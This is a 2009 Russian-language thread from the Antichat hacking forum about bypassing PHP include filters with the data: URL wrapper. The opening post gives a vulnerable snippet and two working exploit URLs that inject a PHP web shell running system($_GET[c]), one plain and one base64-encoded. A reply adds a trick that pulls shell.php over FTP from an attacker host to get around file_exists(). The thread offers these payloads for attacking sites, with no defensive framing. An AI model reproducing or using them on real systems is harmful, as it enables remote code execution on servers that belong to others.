Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Self-contained File Include в PHP |

18.02.2009, 11:56
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Self-contained File Include в PHP
Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.
Например, мы имеем код:
Код:
<?
// Фильтруется возможность перехода в другие дириктории
// и возможность вписать URL:
$dir = str_replace('/', '', $dir);
$dir = str_replace('.', '', $dir);
if (include($dir . '/lala/file.php'))
{
echo 'Heck!';
}
else
{
echo 'Error!';
}
?>
Для эксплуатации требуется:
Код:
PHP Version => 5.2.0
allow_url_include = On
Эксплоит:
Код:
http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.
<?php system($_GET[c]); ?>
кодируется в
PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=
Эксплоит:
Код:
http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
[*] Не нужно заливать файл на сторонний сервер как при обычном RFI.
[+] Можно обойти фильтрацию некоторых символов.
[-] Не обходит file_exist().
Последний раз редактировалось cr0w; 18.02.2009 в 12:27..
|
|
|

18.02.2009, 15:28
|
|
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме: 1483379
Репутация:
386
|
|
Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"
|
|
|

19.02.2009, 03:03
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
Что то я не понял в чем прикол...
<?php system($_GET[c]); ?>
выполниться чтоли в таком случае? Почему так?
работает только при инклюде? при простых file(), file_get_contents() и readfile() не имеет смысла?
|
|
|

19.02.2009, 21:24
|
|
Новичок
Регистрация: 19.11.2007
Сообщений: 23
Провел на форуме: 147347
Репутация:
0
|
|
Сообщение от brain[pillow]
Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"
эт что за трюк такой?
|
|
|

19.02.2009, 21:28
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Сообщение от S1ash
эт что за трюк такой?
https://forum.antichat.ru/showthread.php?p=1037023#post1037023
=\
|
|
|

19.02.2009, 23:01
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Сообщение от brain[pillow]
Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"
Собственно, с этим способом и сравнивалось. В трюке с фтп ведь отсутствует тот "+", что есть в предложенном способе. (:
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|